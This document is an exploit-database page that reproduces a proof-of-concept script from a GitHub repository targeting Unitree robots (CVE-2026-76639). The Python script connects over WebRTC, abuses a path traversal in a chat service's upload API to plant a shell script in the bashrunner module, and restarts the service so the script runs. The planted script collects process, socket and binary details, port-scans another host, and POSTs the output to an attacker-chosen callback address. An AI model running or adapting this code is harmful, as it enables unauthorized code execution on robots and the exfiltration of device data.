Exploit database

GH-f95248a4fb3919e3094a1f0847b38e49

olivierlaflamme/unibleed

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-76639

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
olivierlaflamme/unibleedRevision ce03d9453cd6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scanning-tools/services/master_service_probe.py

Python · 6,404 bytes
#!/usr/bin/env python3
"""
Phase 1A: Probe master_service to find RPC_ExecuteCmd API ID.
Uses WebRTC -> chat_go path traversal -> bashrunner chain.

Runs on loco PC:
1. strace mscli listservice to capture unix socket protocol
2. strace mscli listcmd to see command-related protocol
3. Dump /proc/PID/maps for master_service
4. Try calling mscli with various subcommands
5. Hexdump raw socket protocol bytes
"""
import asyncio
import json
import os
import sys

from unitree_webrtc_connect.constants import WebRTCConnectionMethod
from unitree_webrtc_connect.webrtc_driver import UnitreeWebRTCConnection
import unitree_webrtc_connect.util as _u
_u.print_status = lambda *a, **k: None

LOCO = "192.168.123.161"
KEY = os.environ.get("UNITREE_AES_KEY", "")
UID = "../../../../../unitree/module/bashrunner/content_acquisition/pwn"

CALLBACK_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.123.55"
CALLBACK_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5580

PROBE_SCRIPT = '''#!/bin/sh
exec 2>&1
{
echo "master_service process:"
MS_PID=$(pgrep -x master_service | head -1)
echo "PID: $MS_PID"

echo "strace ListService:"
timeout 5 strace -f -e trace=write,sendto,sendmsg,connect -s 4096 -x /unitree/sbin/mscli listservice 2>&1 | head -200

echo "strace ListCmd:"
timeout 5 strace -f -e trace=write,sendto,sendmsg -s 4096 -x /unitree/sbin/mscli listcmd 2>&1 | head -200

echo "strace GetCmd:"
timeout 5 strace -f -e trace=write,sendto,sendmsg -s 4096 -x /unitree/sbin/mscli getcmd ota-update 2>&1 | head -100

echo "mscli help:"
/unitree/sbin/mscli --help 2>&1 || /unitree/sbin/mscli -h 2>&1 || /unitree/sbin/mscli help 2>&1 || /unitree/sbin/mscli 2>&1
echo "EXIT: $?"

echo "mscli ListCmd:"
/unitree/sbin/mscli listcmd 2>&1

echo "mscli ListService:"
/unitree/sbin/mscli listservice 2>&1

echo "master_service maps:"
if [ -n "$MS_PID" ]; then
  cat /proc/$MS_PID/maps 2>&1 | head -60
fi

echo "master_service command line:"
if [ -n "$MS_PID" ]; then
  cat /proc/$MS_PID/cmdline 2>&1 | tr '\\0' ' '
  echo
fi

echo "master_service file descriptors:"
if [ -n "$MS_PID" ]; then
  ls -la /proc/$MS_PID/fd/ 2>&1 | head -30
fi

echo "socket information:"
ss -xlnp 2>&1 | grep -i master

echo "master_service JSON files:"
xxd /unitree/module/master_service/master_service.json 2>&1 | head -40

echo "mscli command strings:"
strings /unitree/sbin/mscli 2>&1 | grep -iE "execute|exec|cmd|rpc|api_id|CallSystem" | head -30

echo "master_service command strings:"
strings /unitree/module/master_service/master_service 2>&1 | grep -iE "ExecuteCmd|SaveCmd|GetCmd|ListCmd|RemoveCmd|api_id|RPC_" | head -50

echo "development PC port 80:"
timeout 3 nc -zv 192.168.123.164 80 2>&1
timeout 3 nc -zv 192.168.123.164 22 2>&1

echo "done"
} | python3 -c "
import sys, urllib.request
data = sys.stdin.buffer.read()
clean = data.decode('utf-8', errors='replace')
req = urllib.request.Request('http://''' + CALLBACK_IP + ':' + str(CALLBACK_PORT) + '''/', data=clean.encode('utf-8'), method='POST')
urllib.request.urlopen(req, timeout=30)
"
'''


async def req(ps, topic, api_id, parameter, timeout=10):
    param_str = parameter if isinstance(parameter, str) else json.dumps(parameter)
    try:
        resp = await asyncio.wait_for(
            ps.publish_request_new(topic, {"api_id": api_id, "parameter": param_str}),
            timeout=timeout)
        d = resp.get("data", {})
        code = d.get("header", {}).get("status", {}).get("code", "?")
        return code, d.get("data", "")
    except asyncio.TimeoutError:
        return "TIMEOUT", ""
    except Exception as e:
        return "ERR", str(e)[:200]


async def main():
    if len(KEY) != 32:
        sys.exit("[!] Set UNITREE_AES_KEY to the robot's 32-hex-character AES key")
    try:
        bytes.fromhex(KEY)
    except ValueError:
        sys.exit("[!] UNITREE_AES_KEY must contain hexadecimal characters only")
    print("[*] Connecting to loco PC...")
    conn = UnitreeWebRTCConnection(
        connectionMethod=WebRTCConnectionMethod.LocalSTA,
        ip=LOCO, aes_128_key=KEY)
    await conn.connect()
    ps = conn.datachannel.pub_sub

    # Start chat_go
    print("[*] Starting chat_go...")
    await req(ps, "rt/api/robot_state/request", 1001,
              json.dumps({"name": "chat_go", "switch": 1}))
    await asyncio.sleep(8)

    # Check chat_go alive
    code, _ = await req(ps, "rt/api/gpt/request", 1009, "")
    if code == "TIMEOUT":
        await asyncio.sleep(10)
        code, _ = await req(ps, "rt/api/gpt/request", 1009, "")
    if code == "TIMEOUT":
        print("[-] chat_go not responding, retrying...")
        await req(ps, "rt/api/robot_state/request", 1001,
                  json.dumps({"name": "chat_go", "switch": 0}))
        await asyncio.sleep(3)
        await req(ps, "rt/api/robot_state/request", 1001,
                  json.dumps({"name": "chat_go", "switch": 1}))
        await asyncio.sleep(10)
        code, _ = await req(ps, "rt/api/gpt/request", 1009, "")

    if code == "TIMEOUT":
        print("[-] chat_go still not responding, aborting")
        await conn.disconnect()
        return

    print(f"[+] chat_go alive (code={code})")

    # Upload probe script via path traversal
    print("[*] Uploading probe script...")
    code, _ = await req(ps, "rt/api/gpt/request", 1006,
                        json.dumps([{"uid": UID, "content": PROBE_SCRIPT}]), timeout=8)
    if code != 0:
        print(f"[-] Upload failed: {code}")
        await conn.disconnect()
        return
    print("[+] Probe script uploaded")

    # Restart bashrunner
    print("[*] Restarting bashrunner...")
    await req(ps, "rt/api/robot_state/request", 1001,
              json.dumps({"name": "bashrunner", "switch": 0}))
    await asyncio.sleep(3)
    await req(ps, "rt/api/robot_state/request", 1001,
              json.dumps({"name": "bashrunner", "switch": 1}))
    await asyncio.sleep(5)

    # Execute
    print(f"[*] Executing probe (callback {CALLBACK_IP}:{CALLBACK_PORT})...")
    code, data = await req(ps, "rt/api/bashrunner/request", 1001,
                           json.dumps({"script": "pwn.md"}), timeout=120)
    try:
        info = json.loads(data).get("info", data)
    except:
        info = str(data)
    if info:
        print(f"[+] bashrunner response: {str(info)[:200]}")

    await asyncio.sleep(2)
    await conn.disconnect()
    print("[*] Done")


if __name__ == "__main__":
    asyncio.run(main())